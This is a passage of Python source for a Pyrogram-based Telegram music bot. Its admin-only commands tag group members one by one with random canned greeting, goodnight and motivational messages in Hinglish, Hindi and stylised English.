ᴅᴇᴀʀ ᴍᴀᴛ ᴋʀɴᴀ ᴍɪss, ᴊᴀ ʀʜɪ sᴏɴᴇ 🌄** ", " **➠ ɢᴏᴏᴅ ɴɪɢʜᴛ ʙʀɪɢʜᴛғᴜʟʟ ɴɪɢʜᴛ 🤭** ", " **➠ ᴛʜᴇ ɴɪɢʜᴛ ʜᴀs ғᴀʟʟᴇɴ, ᴛʜᴇ ᴅᴀʏ ɪs ᴅᴏɴᴇ,, ᴛʜᴇ ᴍᴏᴏɴ ʜᴀs ᴛᴀᴋᴇɴ ᴛʜᴇ ᴘʟᴀᴄᴇ ᴏғ ᴛʜᴇ sᴜɴ... 😊** ", " **➠ ᴍᴀʏ ᴀʟʟ ʏᴏᴜʀ ᴅʀᴇᴀᴍs ᴄᴏᴍᴇ ᴛʀᴜᴇ ❤️** ", " **➠ ɢᴏᴏᴅ ɴɪɢʜᴛ sᴘʀɪɴᴋʟᴇs sᴡᴇᴇᴛ ᴅʀᴇᴀᴍ 💚** ", " **➠ ɢᴏᴏᴅ ɴɪɢʜᴛ, ɴɪɴᴅ ᴀᴀ ʀʜɪ ʜᴀɪ 🥱** ", " **➠ ᴅᴇᴀʀ ғʀɪᴇɴᴅ ɢᴏᴏᴅ ɴɪɢʜᴛ 💤** ", " **➠ ʙᴀʙʏ ᴀᴀᴊ ʀᴀᴀᴛ ᴋᴀ sᴄᴇɴᴇ ʙɴᴀ ʟᴇ 🥰** ", " **➠ ɪᴛɴɪ ʀᴀᴀᴛ ᴍᴇ ᴊᴀɢ ᴋᴀʀ ᴋʏᴀ ᴋᴀʀ ʀʜᴇ ʜᴏ sᴏɴᴀ ɴᴀʜɪ ʜᴀɪ ᴋʏᴀ 😜** ", " **➠ ᴄʟᴏsᴇ ʏᴏᴜʀ ᴇʏᴇs sɴᴜɢɢʟᴇ ᴜᴘ ᴛɪɢʜᴛ,, ᴀɴᴅ ʀᴇᴍᴇᴍʙᴇʀ ᴛʜᴀᴛ ᴀɴɢᴇʟs, ᴡɪʟʟ ᴡᴀᴛᴄʜ ᴏᴠᴇʀ ʏᴏᴜ ᴛᴏɴɪɢʜᴛ... 💫** ", ] VC_TAG = [ "**➠ ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ, ᴋᴇsᴇ ʜᴏ 🐱**", "**➠ ɢᴍ, sᴜʙʜᴀ ʜᴏ ɢʏɪ ᴜᴛʜɴᴀ ɴᴀʜɪ ʜᴀɪ ᴋʏᴀ 🌤️**", "**➠ ɢᴍ ʙᴀʙʏ, ᴄʜᴀɪ ᴘɪ ʟᴏ ☕**", "**➠ ᴊᴀʟᴅɪ ᴜᴛʜᴏ, sᴄʜᴏᴏʟ ɴᴀʜɪ ᴊᴀɴᴀ ᴋʏᴀ 🏫**", "**➠ ɢᴍ, ᴄʜᴜᴘ ᴄʜᴀᴘ ʙɪsᴛᴇʀ sᴇ ᴜᴛʜᴏ ᴠʀɴᴀ ᴘᴀɴɪ ᴅᴀʟ ᴅᴜɴɢɪ 🧊**", "**➠ ʙᴀʙʏ ᴜᴛʜᴏ ᴀᴜʀ ᴊᴀʟᴅɪ ғʀᴇsʜ ʜᴏ ᴊᴀᴏ, ɴᴀsᴛᴀ ʀᴇᴀᴅʏ ʜᴀɪ 🫕**", "**➠ ᴏғғɪᴄᴇ ɴᴀʜɪ ᴊᴀɴᴀ ᴋʏᴀ ᴊɪ ᴀᴀᴊ, ᴀʙʜɪ ᴛᴀᴋ ᴜᴛʜᴇ ɴᴀʜɪ 🏣**", "**➠ ɢᴍ ᴅᴏsᴛ, ᴄᴏғғᴇᴇ/ᴛᴇᴀ ᴋʏᴀ ʟᴏɢᴇ ☕🍵**", "**➠ ʙᴀʙʏ 8 ʙᴀᴊɴᴇ ᴡᴀʟᴇ ʜᴀɪ, ᴀᴜʀ ᴛᴜᴍ ᴀʙʜɪ ᴛᴋ ᴜᴛʜᴇ ɴᴀʜɪ 🕖**", "**➠ ᴋʜᴜᴍʙʜᴋᴀʀᴀɴ ᴋɪ ᴀᴜʟᴀᴅ ᴜᴛʜ ᴊᴀᴀ... ☃️**", "**➠ ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ ʜᴀᴠᴇ ᴀ ɴɪᴄᴇ ᴅᴀʏ... 🌄**", "**➠ ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ, ʜᴀᴠᴇ ᴀ ɢᴏᴏᴅ ᴅᴀʏ... 🪴**", "**➠ ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ, ʜᴏᴡ ᴀʀᴇ ʏᴏᴜ ʙᴀʙʏ 😇**", "**➠ ᴍᴜᴍᴍʏ ᴅᴇᴋʜᴏ ʏᴇ ɴᴀʟᴀʏᴋ ᴀʙʜɪ ᴛᴀᴋ sᴏ ʀʜᴀ ʜᴀɪ... 😵‍💫**", "**➠ ʀᴀᴀᴛ ʙʜᴀʀ ʙᴀʙᴜ sᴏɴᴀ ᴋʀ ʀʜᴇ ᴛʜᴇ ᴋʏᴀ, ᴊᴏ ᴀʙʜɪ ᴛᴋ sᴏ ʀʜᴇ ʜᴏ ᴜᴛʜɴᴀ ɴᴀʜɪ ʜᴀɪ ᴋʏᴀ... 😏**", "**➠ ʙᴀʙᴜ ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ ᴜᴛʜ ᴊᴀᴏ ᴀᴜʀ ɢʀᴏᴜᴘ ᴍᴇ sᴀʙ ғʀɪᴇɴᴅs ᴋᴏ ɢᴍ ᴡɪsʜ ᴋʀᴏ... 🌟**", "**➠ ᴘᴀᴘᴀ ʏᴇ ᴀʙʜɪ ᴛᴀᴋ ᴜᴛʜ ɴᴀʜɪ, sᴄʜᴏᴏʟ ᴋᴀ ᴛɪᴍᴇ ɴɪᴋᴀʟᴛᴀ ᴊᴀ ʀʜᴀ ʜᴀɪ... 🥲**", "**➠ ᴊᴀɴᴇᴍᴀɴ ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ, ᴋʏᴀ ᴋʀ ʀʜᴇ ʜᴏ ... 😅**", "**➠ ɢᴍ ʙᴇᴀsᴛɪᴇ, ʙʀᴇᴀᴋғᴀsᴛ ʜᴜᴀ ᴋʏᴀ... 🍳**", ] @app.on_message(filters.command(["gntag", "tagmember" ], prefixes=["/", "@", "#"])) async def mentionall(client, message): chat_id = message.chat.id if message.chat.type == ChatType.PRIVATE: return await message.reply("๏ ᴛʜɪs ᴄᴏᴍᴍᴀɴᴅ ᴏɴʟʏ ғᴏʀ ɢʀᴏᴜᴘs.") is_admin = False try: participant = await client.get_chat_member(chat_id, message.from_user.id) except UserNotParticipant: is_admin = False else: if participant.status in ( ChatMemberStatus.ADMINISTRATOR, ChatMemberStatus.OWNER ): is_admin = True if not is_admin: return await message.reply("๏ ʏᴏᴜ ᴀʀᴇ ɴᴏᴛ ᴀᴅᴍɪɴ ʙᴀʙʏ, ᴏɴʟʏ ᴀᴅᴍɪɴs ᴄᴀɴ ᴛᴀɢ ᴍᴇᴍʙᴇʀs. ") if message.reply_to_message and message.text: return await message.reply("/tagall ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ ᴛʏᴘᴇ ʟɪᴋᴇ ᴛʜɪs / ʀᴇᴘʟʏ ᴀɴʏ ᴍᴇssᴀɢᴇ ɴᴇxᴛ ᴛɪᴍᴇ ʙᴏᴛ ᴛᴀɢɢɪɴɢ...") elif message.text: mode = "text_on_cmd" msg = message.text elif message.reply_to_message: mode = "text_on_reply" msg = message.reply_to_message if not msg: return await message.reply("/tagall ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ ᴛʏᴘᴇ ʟɪᴋᴇ ᴛʜɪs / ʀᴇᴘʟʏ ᴀɴʏ ᴍᴇssᴀɢᴇ ɴᴇxᴛ ᴛɪᴍᴇ ғᴏᴛ ᴛᴀɢɢɪɴɢ...") else: return await message.reply("/tagall ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ ᴛʏᴘᴇ ʟɪᴋᴇ ᴛʜɪs / ʀᴇᴘʟʏ ᴀɴʏ ᴍᴇssᴀɢᴇ ɴᴇxᴛ ᴛɪᴍᴇ ʙᴏᴛ ᴛᴀɢɢɪɴɢ...") if chat_id in spam_chats: return await message.reply("๏ ᴘʟᴇᴀsᴇ ᴀᴛ ғɪʀsᴛ sᴛᴏᴘ ʀᴜɴɴɪɴɢ ᴍᴇɴᴛɪᴏɴ ᴘʀᴏᴄᴇss...") spam_chats.append(chat_id) usrnum = 0 usrtxt = "" async for usr in client.get_chat_members(chat_id): if not chat_id in spam_chats: break if usr.user.is_bot: continue usrnum += 1 usrtxt += "{}".format(usr.user.id, usr.user.first_name) if usrnum == 1: if mode == "text_on_cmd": txt = f"{usrtxt} {random.choice(TAGMES)}" await client.send_message(chat_id, txt) elif mode == "text_on_reply": await msg.reply(f"[{random.choice(EMOJI)}](tg://user?id={usr.user.id})") await asyncio.sleep(4) usrnum = 0 usrtxt = "" try: spam_chats.remove(chat_id) except: pass @app.on_message(filters.command(["gmtag"], prefixes=["/", "@", "#"])) async def mention_allvc(client, message): chat_id = message.chat.id if message.chat.type == ChatType.PRIVATE: return await message.reply("๏ ᴛʜɪs ᴄᴏᴍᴍᴀɴᴅ ᴏɴʟʏ ғᴏʀ ɢʀᴏᴜᴘs.") is_admin = False try: participant = await client.get_chat_member(chat_id, message.from_user.id) except UserNotParticipant: is_admin = False else: if participant.status in ( ChatMemberStatus.ADMINISTRATOR, ChatMemberStatus.OWNER ): is_admin = True if not is_admin: return await message.reply("๏ ʏᴏᴜ ᴀʀᴇ ɴᴏᴛ ᴀᴅᴍɪɴ ʙᴀʙʏ, ᴏɴʟʏ ᴀᴅᴍɪɴs ᴄᴀɴ ᴛᴀɢ ᴍᴇᴍʙᴇʀs. ") if chat_id in spam_chats: return await message.reply("๏ ᴘʟᴇᴀsᴇ ᴀᴛ ғɪʀsᴛ sᴛᴏᴘ ʀᴜɴɴɪɴɢ ᴍᴇɴᴛɪᴏɴ ᴘʀᴏᴄᴇss...") spam_chats.append(chat_id) usrnum = 0 usrtxt = "" async for usr in client.get_chat_members(chat_id): if not chat_id in spam_chats: break if usr.user.is_bot: continue usrnum += 1 usrtxt += "{}".format(usr.user.id, usr.user.first_name) if usrnum == 1: txt = f"{usrtxt} {random.choice(VC_TAG)}" await client.send_message(chat_id, txt) await asyncio.sleep(4) usrnum = 0 usrtxt = "" try: spam_chats.remove(chat_id) except: pass @app.on_message(filters.command(["gmstop", "gnstop", "cancle"])) async def cancel_spam(client, message): if not message.chat.id in spam_chats: return await message.reply("๏ ᴄᴜʀʀᴇɴᴛʟʏ ɪ'ᴍ ɴᴏᴛ ᴛᴀɢɢɪɴɢ ʙᴀʙʏ.") is_admin = False try: participant = await client.get_chat_member(message.chat.id, message.from_user.id) except UserNotParticipant: is_admin = False else: if participant.status in ( ChatMemberStatus.ADMINISTRATOR, ChatMemberStatus.OWNER ): is_admin = True if not is_admin: return await message.reply("๏ ʏᴏᴜ ᴀʀᴇ ɴᴏᴛ ᴀᴅᴍɪɴ ʙᴀʙʏ, ᴏɴʟʏ ᴀᴅᴍɪɴs ᴄᴀɴ ᴛᴀɢ ᴍᴇᴍʙᴇʀs.") else: try: spam_chats.remove(message.chat.id) except: pass return await message.reply("๏ ᴍᴇɴᴛɪᴏɴ ᴘʀᴏᴄᴇss sᴛᴏᴘᴘᴇᴅ ๏") ================================================ FILE: BrandrdXMusic/plugins/admins/hitag.py ================================================ from BrandrdXMusic import app import asyncio import random from pyrogram import Client, filters from pyrogram.enums import ChatType, ChatMemberStatus from pyrogram.errors import UserNotParticipant from pyrogram.types import ChatPermissions spam_chats = [] EMOJI = [ "🦋🦋🦋🦋🦋", "🧚🌸🧋🍬🫖", "🥀🌷🌹🌺💐", "🌸🌿💮🌱🌵", "❤️💚💙💜🖤", "💓💕💞💗💖", "🌸💐🌺🌹🦋", "🍔🦪🍛🍲🥗", "🍎🍓🍒🍑🌶️", "🧋🥤🧋🥛🍷", "🍬🍭🧁🎂🍡", "🍨🧉🍺☕🍻", "🥪🥧🍦🍥🍚", "🫖☕🍹🍷🥛", "☕🧃🍩🍦🍙", "🍁🌾💮🍂🌿", "🌨️🌥️⛈️🌩️🌧️", "🌷🏵️🌸🌺💐", "💮🌼🌻🍀🍁", "🧟🦸🦹🧙👸", "🧅🍠🥕🌽🥦", "🐷🐹🐭🐨🐻‍❄️", "🦋🐇🐀🐈🐈‍⬛", "🌼🌳🌲🌴🌵", "🥩🍋🍐🍈🍇", "🍴🍽️🔪🍶🥃", "🕌🏰🏩⛩️🏩", "🎉🎊🎈🎂🎀", "🪴🌵🌴🌳🌲", "🎄🎋🎍🎑🎎", "🦅🦜🕊️🦤🦢", "🦤🦩🦚🦃🦆", "🐬🦭🦈🐋🐳", "🐔🐟🐠🐡🦐", "🦩🦀🦑🐙🦪", "🐦🦂🕷️🕸️🐚", "🥪🍰🥧🍨🍨", " 🥬🍉🧁🧇", ] TAGMES = [ " **❅ बेबी कहा हो। 🤗** ", " **❅ ओए सो गए क्या, ऑनलाइन आओ ।😊** ", " **❅ ओए वीसी आओ बात करते हैं । 😃** ", " **❅ खाना खाया कि नही। 🥲** ", " **❅ घर में सब कैसे हैं। 🥺** ", " **❅ पता है बहुत याद आ रही आपकी। 🤭** ", " **❅ और बताओ कैसे हो।..?? 🤨** ", " **❅ मेरी भी सैटिंग करवा दो प्लीज..?? 🙂** ", " **❅ आपका नाम क्या है।..?? 🥲** ", " **❅ नाश्ता हो गया..?? 😋** ", " **❅ मुझे अपने ग्रूप में ऐड कर लो। 😍** ", " **❅ आपका दोस्त आपको बुला रहा है। 😅** ", " **❅ मुझसे शादी करोगे ..?? 🤔** ", " **❅ सोने चले गए क्या 🙄** ", " **❅ अरे यार कोई AC चला दो 😕** ", " **❅ आप कहा से हो..?? 🙃** ", " **❅ हेलो जी नमस्ते 😛** ", " **❅ BABY क्या कर रही हो..? 🤔** ", " **❅ क्या आप मुझे जानते हो .? ☺️** ", " **❅ आओ baby Ludo खेलते है .🤗** ", " **❅ चलती है क्या 9 से 12... 😇** ", " **❅ आपके पापा क्या करते है 🤭** ", " **❅ आओ baby बाजार चलते है गोलगप्पे खाने। 🥺** ", " **❅ अकेली ना बाजार जाया करो, नज़र लग जायेगी। 😶** ", " **❅ और बताओ BF कैसा है ..?? 🤔** ", " **❅ गुड मॉर्निंग 😜** ", " **❅ मेरा एक काम करोगे। 🙂** ", " **❅ DJ वाले बाबू मेरा गाना चला दो। 😪** ", " **❅ आप से मिलकर अच्छा लगा।☺** ", " **❅ मेरे बाबू ने थाना थाया।..? 🙊** ", " **❅ पढ़ाई कैसी चल रही हैं ? 😺** ", " **❅ हम को प्यार हुआ। 🥲** ", " **❅ Nykaa कौन है...? 😅** ", " **❅ तू खींच मेरी फ़ोटो ..? 😅** ", " **❅ Phone काट मम्मी आ गई क्या। 😆** ", " **❅ और भाबी से कब मिल वा रहे हो । 😉** ", " **❅ क्या आप मुझसे प्यार करते हो 💚** ", " **❅ मैं तुम से बहुत प्यार करती हूं..? 👀** ", " **❅ बेबी एक kiss दो ना..?? 🙉** ", " **❅ एक जॉक सुनाऊं..? 😹** ", " **❅ vc पर आओ कुछ दिखाती हूं 😻** ", " **❅ क्या तुम instagram चलते हो..?? 🙃** ", " **❅ whatsapp नंबर दो ना अपना..? 😕** ", " **❅ आप की दोस्त से मेरी सेटिंग करा दो ..? 🙃** ", " **❅ सारा काम हो गया हो तो ऑनलाइन आ जाओ।..? 🙃** ", " **❅ कहा से हो आप 😊** ", " **❅ जा तुझे आज़ाद कर दिया मैंने मेरे दिल से। 🥺** ", " **❅ मेरा एक काम करोगे, ग्रूप मे कुछ मेंबर ऐड कर दो ..? ♥️** ", " **❅ मैं तुमसे नाराज़ हूं 😠** ", " **❅ आपकी फैमिली कैसी है..? ❤** ", " **❅ क्या हुआ..? 🤔** ", " **❅ बहुत याद आ रही है आपकी 😒** ", " **❅ भूल गए मुझे 😏** ", " **❅ झूठ क्यों बोला आपने मुझसे 🤐** ", " **❅ इतना भाव मत खाया करो, रोटी खाया करो कम से कम मोटी तो हो जाओगी 😒** ", " **❅ ये attitude किसे @BRANDED_PAID_CC दिखा रहे हो 😮** ", " **❅ हेमलो कहा busy ho 👀** ", " **❅ आपके जैसा दोस्त पाकर मे बहुत खुश हूं। 🙈** ", " **❅ आज मन बहुत उदास है ☹️** ", " **❅ मुझसे भी बात कर लो ना 🥺** ", " **❅ आज खाने में क्या बनाया है 👀** ", " **❅ क्या चल रहा है 🙂** ", " **❅ message क्यों नहीं करती हो..🥺** ", " **❅ मैं मासूम हूं ना 🥺** ", " **❅ कल मज़ा आया था ना 😅** ", " **❅ कल कहा busy थे 😕** ", " **❅ आप relationship में हो क्या..? 👀** ", " **❅ कितने शांत रहते हो यार आप 😼** ", " **❅ आपको गाना, गाना आता है..? 😸** ", " **❅ घूमने चलोगे मेरे साथ..?? 🙈** ", " **❅ हमेशा हैप्पी रहा करो यार 🤞** ", " **❅ क्या हम दोस्त बन सकते है...? 🥰** ", " **❅ आप का विवाह हो गया क्या.. 🥺** ", " **❅ कहा busy the इतने दिनों से 🥲** ", " **❅ single हो या mingle 😉** ", " **❅ आओ पार्टी करते है 🥳** ", " **❅ Bio में link हैं join कर लो 🧐** ", " **❅ मैं तुमसे प्यार नहीं करती, 🥺** ", " **❅ यहां आ जाओ ना @BRANDED_WORLD मस्ती करेंगे 🤭** ", " **❅ भूल जाओ मुझे,..? 😊** ", " **❅ अपना बना ले पिया, अपना बना ले 🥺** ", " **❅ मेरा ग्रुप भी join कर लो ना 🤗** ", " **❅ मैने तेरा नाम Dil rakh diya 😗** ", " **❅ तुमारे सारे दोस्त कहा गए 🥺** ", " **❅ my cute owner @BRANDRD_BOT 🥰** ", " **❅ किसकी याद मे खोए हो जान 😜** ", " **❅ गुड नाईट जी बहुत रात हो गई 🥰** ", ] VC_TAG = [ "**❅ ɪғ ʏᴏᴜ ᴅᴏ ɴᴏᴛ sᴛᴇᴘ ғᴏʀᴡᴀʀᴅ ʏᴏᴜ ᴡɪʟʟ ʀᴇᴍᴀɪɴ ɪɴ ᴛʜᴇ sᴀᴍᴇ ᴘʟᴀᴄᴇ.**", "**❅ ʟɪғᴇ ɪs ʜᴀʀᴅ ʙᴜᴛ ɴᴏᴛ ɪᴍᴘᴏssɪʙʟᴇ.**", "**❅ ʟɪғᴇ’s ᴛᴏᴏ sʜᴏʀᴛ ᴛᴏ ᴀʀɢᴜᴇ ᴀɴᴅ ғɪɢʜᴛ.**", "**❅ ᴅᴏɴ’ᴛ ᴡᴀɪᴛ ғᴏʀ ᴛʜᴇ ᴘᴇʀғᴇᴄᴛ ᴍᴏᴍᴇɴᴛ ᴛᴀᴋᴇ ᴍᴏᴍᴇɴᴛ ᴀɴᴅ ᴍᴀᴋᴇ ɪᴛ ᴘᴇʀғᴇᴄᴛ.**", "**❅ sɪʟᴇɴᴄᴇ ɪs ᴛʜᴇ ʙᴇsᴛ ᴀɴsᴡᴇʀ ᴛᴏ sᴏᴍᴇᴏɴᴇ ᴡʜᴏ ᴅᴏᴇsɴ’ᴛ ᴠᴀʟᴜᴇ ʏᴏᴜʀ ᴡᴏʀᴅs.**", "**❅ ᴇᴠᴇʀʏ ɴᴇᴡ ᴅᴀʏ ɪs ᴀ ᴄʜᴀɴᴄᴇ ᴛᴏ ᴄʜᴀɴɢᴇ ʏᴏᴜʀ ʟɪғᴇ.**", "**❅ ᴛᴏ ᴄʜᴀɴɢᴇ ʏᴏᴜʀ ʟɪғᴇ, ʏᴏᴜ ɴᴇᴇᴅ ᴛᴏ ᴄʜᴀɴɢᴇ ʏᴏᴜʀ ᴘʀɪᴏʀɪᴛɪᴇs.**", "**❅ ʟɪғᴇ ɪs ᴀ ᴊᴏᴜʀɴᴇʏ, ɴᴏᴛ ᴀ ʀᴀᴄᴇ..**", "**❅ sᴍɪʟᴇ ᴀɴᴅ ᴅᴏɴ’ᴛ ᴡᴏʀʀʏ, ʟɪғᴇ ɪs ᴀᴡᴇsᴏᴍᴇ.**", "**❅ ᴅᴏ ɴᴏᴛ ᴄᴏᴍᴘᴀʀᴇ ʏᴏᴜʀsᴇʟғ ᴛᴏ ᴏᴛʜᴇʀs ɪғ ʏᴏᴜ ᴅᴏ sᴏ ʏᴏᴜ ᴀʀᴇ ɪɴsᴜʟᴛɪɴɢ ʏᴏᴜʀsᴇʟғ.**", "**❅ ɪ ᴀᴍ ɪɴ ᴛʜᴇ ᴘʀᴏᴄᴇss ᴏғ ʙᴇᴄᴏᴍɪɴɢ ᴛʜᴇ ʙᴇsᴛ ᴠᴇʀsɪᴏɴ ᴏғ ᴍʏsᴇʟғ.**", "**❅ ʟɪғᴇ ɪs ʟɪᴋᴇ ɪᴄᴇ ᴇɴᴊᴏʏ ɪᴛ ʙᴇғᴏʀᴇ ɪᴛ ᴍᴇʟᴛs.**", "**❅ ʙᴇ ғʀᴇᴇ ʟɪᴋᴇ ᴀ ʙɪʀᴅ.**", "**❅ ɴᴏ ᴏɴᴇ ɪs ᴄᴏᴍɪɴɢ ᴛᴏ sᴀᴠᴇ ʏᴏᴜ. ᴛʜɪs ʟɪғᴇ ᴏғ ʏᴏᴜʀ ɪs 100% ʏᴏᴜʀ ʀᴇsᴘᴏɴsɪʙɪʟɪᴛʏ..**", "**❅ ʟɪғᴇ ᴀʟᴡᴀʏs ᴏғғᴇʀs ʏᴏᴜ ᴀ sᴇᴄᴏɴᴅ ᴄʜᴀɴᴄᴇ. ɪᴛ’s ᴄᴀʟʟᴇᴅ ᴛᴏᴍᴏʀʀᴏᴡ.**", "**❅ ʟɪғᴇ ʙᴇɢɪɴs ᴀᴛ ᴛʜᴇ ᴇɴᴅ ᴏғ ʏᴏᴜʀ ᴄᴏᴍғᴏʀᴛ ᴢᴏɴᴇ.**", "**❅ ᴀʟʟ ᴛʜᴇ ᴛʜɪɴɢs ᴛʜᴀᴛ ʜᴜʀᴛ ʏᴏᴜ, ᴀᴄᴛᴜᴀʟʟʏ ᴛᴇᴀᴄʜ ʏᴏᴜ.**", "**❅ ʟɪғᴇ ɪs ʟɪᴋᴇ ᴀ ᴄᴀᴍᴇʀᴀ. sᴏ ғᴀᴄᴇ ɪᴛ ᴡɪᴛʜ ᴀ sᴍɪʟᴇ.**", "**❅ ʟɪғᴇ ɪs 10% ᴏғ ᴡʜᴀᴛ ʜᴀᴘᴘᴇɴs ᴛᴏ ʏᴏᴜ ᴀɴᴅ 90% ᴏғ ʜᴏᴡ ʏᴏᴜ ʀᴇsᴘᴏɴᴅ ᴛᴏ ɪᴛ.**", "**❅ ʟɪғᴇ ᴀʟᴡᴀʏs ᴏғғᴇʀs ʏᴏᴜ ᴀ sᴇᴄᴏɴᴅ ᴄʜᴀɴᴄᴇ. ɪᴛ’s ᴄᴀʟʟᴇᴅ ᴛᴏᴍᴏʀʀᴏᴡ.**", "**❅ ɴᴏ ᴏɴᴇ ɪs ᴄᴏᴍɪɴɢ ᴛᴏ sᴀᴠᴇ ʏᴏᴜ. ᴛʜɪs ʟɪғᴇ ᴏғ ʏᴏᴜʀ ɪs 100% ʏᴏᴜʀ ʀᴇsᴘᴏɴsɪʙɪʟɪᴛʏ..**", "**❅ ʟɪғᴇ ɪs ɴᴏᴛ ᴀɴ ᴇᴀsʏ ᴛᴀsᴋ.**", "**❅ ʟɪғᴇ ɪs ᴀ ᴡᴏɴᴅᴇʀғᴜʟ ᴀᴅᴠᴇɴᴛᴜʀᴇ.**", "**❅ ʟɪғᴇ ʙᴇɢɪɴs ᴏɴ ᴛʜᴇ ᴏᴛʜᴇʀ sɪᴅᴇ ᴏғ ᴅᴇsᴘᴀɪʀ.**", "**❅ ʟɪғᴇ ɪs ɴᴏᴛ ᴀ ᴘʀᴏʙʟᴇᴍ ᴛᴏ ʙᴇ sᴏʟᴠᴇᴅ ʙᴜᴛ ᴀ ʀᴇᴀʟɪᴛʏ ᴛᴏ ʙᴇ ᴇxᴘᴇʀɪᴇɴᴄᴇᴅ.**", "**❅ ʟɪғᴇ ᴅᴏᴇs ɴᴏᴛ ʜᴀᴠᴇ ᴀ ʀᴇᴍᴏᴛᴇ; ɢᴇᴛ ᴜᴘ ᴀɴᴅ ᴄʜᴀɴɢᴇ ɪᴛ ʏᴏᴜʀsᴇʟғ.**", "**❅ sᴛᴀʀᴛ ᴛʀᴜsᴛɪɴɢ ʏᴏᴜʀsᴇʟғ, ᴀɴᴅ ʏᴏᴜ’ʟʟ ᴋɴᴏᴡ ʜᴏᴡ ᴛᴏ ʟɪᴠᴇ.**", "**❅ ʜᴇᴀʟᴛʜ ɪs ᴛʜᴇ ᴍᴏsᴛ ɪᴍᴘᴏʀᴛᴀɴᴛ ɢᴏᴏᴅ ᴏғ ʟɪғᴇ.**", "**❅ ᴛɪᴍᴇ ᴄʜᴀɴɢᴇ ᴘʀɪᴏʀɪᴛʏ ᴄʜᴀɴɢᴇs.**", "**❅ ᴛᴏ sᴇᴇ ᴀɴᴅ ᴛᴏ ғᴇᴇʟ ᴍᴇᴀɴs ᴛᴏ ʙᴇ, ᴛʜɪɴᴋ ᴀɴᴅ ʟɪᴠᴇ.**", "**❅ ʙᴇ ᴡɪᴛʜ sᴏᴍᴇᴏɴᴇ ᴡʜᴏ ʙʀɪɴɢs ᴏᴜᴛ ᴛʜᴇ ʙᴇsᴛ ᴏғ ʏᴏᴜ.**", "**❅ ʏᴏᴜʀ ᴛʜᴏᴜɢʜᴛs ᴀʀᴇ ʏᴏᴜʀ ʟɪғᴇ.**", "**❅ ᴘᴇᴏᴘʟᴇ ᴄʜᴀɴɢᴇ, ᴍᴇᴍᴏʀɪᴇs ᴅᴏɴ’ᴛ.**", "**❅ ᴏᴜʀ ʟɪғᴇ ɪs ᴡʜᴀᴛ ᴡᴇ ᴛʜɪɴᴋ ɪᴛ ɪs.**", "**❅ ʟɪɢʜᴛ ʜᴇᴀʀᴛ ʟɪᴠᴇs ʟᴏɴɢᴇʀ.**", "**❅ ᴅᴇᴘʀᴇssɪᴏɴ ᴇᴠᴇɴᴛᴜᴀʟʟʏ ʙᴇᴄᴏᴍᴇs ᴀ ʜᴀʙɪᴛ.**", "**❅ ʟɪғᴇ ɪs ᴀ ɢɪғᴛ. ᴛʀᴇᴀᴛ ɪᴛ ᴡᴇʟʟ.**", "**❅ ʟɪғᴇ ɪs ᴡʜᴀᴛ ᴏᴜʀ ғᴇᴇʟɪɴɢs ᴅᴏ ᴡɪᴛʜ ᴜs.**", "**❅ ᴡʀɪɴᴋʟᴇs ᴀʀᴇ ᴛʜᴇ ʟɪɴᴇs ᴏғ ʟɪғᴇ ᴏɴ ᴛʜᴇ ғᴀᴄᴇ.**", "**❅ ʟɪғᴇ ɪs ᴍᴀᴅᴇ ᴜᴘ ᴏғ sᴏʙs, sɴɪғғʟᴇs, ᴀɴᴅ sᴍɪʟᴇs.**", "**❅ ɴᴏᴛ ʟɪғᴇ, ʙᴜᴛ ɢᴏᴏᴅ ʟɪғᴇ, ɪs ᴛᴏ ʙᴇ ᴄʜɪᴇғʟʏ ᴠᴀʟᴜᴇᴅ.**", "**❅ ʏᴏᴜ ᴄʜᴀɴɢᴇ ʏᴏᴜʀ ʟɪғᴇ ʙʏ ᴄʜᴀɴɢɪɴɢ ʏᴏᴜʀ ʜᴇᴀʀᴛ.", "**❅ ʟɪғᴇ ɪs ɴᴏᴛʜɪɴɢ ᴡɪᴛʜᴏᴜᴛ ᴛʀᴜᴇ ғʀɪᴇɴᴅsʜɪᴘ.**", "**❅ ɪғ ʏᴏᴜ ᴀʀᴇ ʙʀᴀᴠᴇ ᴛᴏ sᴀʏ ɢᴏᴏᴅ ʙʏᴇ, ʟɪғᴇ ᴡɪʟʟ ʀᴇᴡᴀʀᴅ ʏᴏᴜ ᴡɪᴛʜ ᴀ ɴᴇᴡ ʜᴇʟʟᴏ.**", "**❅ ᴛʜᴇʀᴇ ɪs ɴᴏᴛʜɪɴɢ ᴍᴏʀᴇ ᴇxᴄɪᴛɪɴɢ ɪɴ ᴛʜᴇ ᴡᴏʀʟᴅ, ʙᴜᴛ ᴘᴇᴏᴘʟᴇ.**", "**❅ ʏᴏᴜ ᴄᴀɴ ᴅᴏ ᴀɴʏᴛʜɪɴɢ, ʙᴜᴛ ɴᴏᴛ ᴇᴠᴇʀʏᴛʜɪɴɢ.**", "**❅ ʟɪғᴇ ʙᴇᴄᴏᴍᴇ ᴇᴀsʏ ᴡʜᴇɴ ʏᴏᴜ ʙᴇᴄᴏᴍᴇ sᴛʀᴏɴɢ.**", "**❅ ᴍʏ ʟɪғᴇ ɪsɴ’ᴛ ᴘᴇʀғᴇᴄᴛ ʙᴜᴛ ɪᴛ ᴅᴏᴇs ʜᴀᴠᴇ ᴘᴇʀғᴇᴄᴛ ᴍᴏᴍᴇɴᴛs.**", "**❅ ʟɪғᴇ ɪs ɢᴏᴅ’s ɴᴏᴠᴇʟ. ʟᴇᴛ ʜɪᴍ ᴡʀɪᴛᴇ ɪᴛ.**", "**❅ ᴏᴜʀ ʟɪғᴇ ɪs ᴀ ʀᴇsᴜʟᴛ ᴏғ ᴏᴜʀ ᴅᴏᴍɪɴᴀɴᴛ ᴛʜᴏᴜɢʜᴛs.**", "**❅ ʟɪғᴇ ɪs ᴀ ᴍᴏᴛɪᴏɴ ғʀᴏᴍ ᴀ ᴅᴇsɪʀᴇ ᴛᴏ ᴀɴᴏᴛʜᴇʀ ᴅᴇsɪʀᴇ.**", "**❅ ᴛᴏ ʟɪᴠᴇ ᴍᴇᴀɴs ᴛᴏ ғɪɢʜᴛ.**", "**❅ ʟɪғᴇ ɪs ʟɪᴋᴇ ᴀ 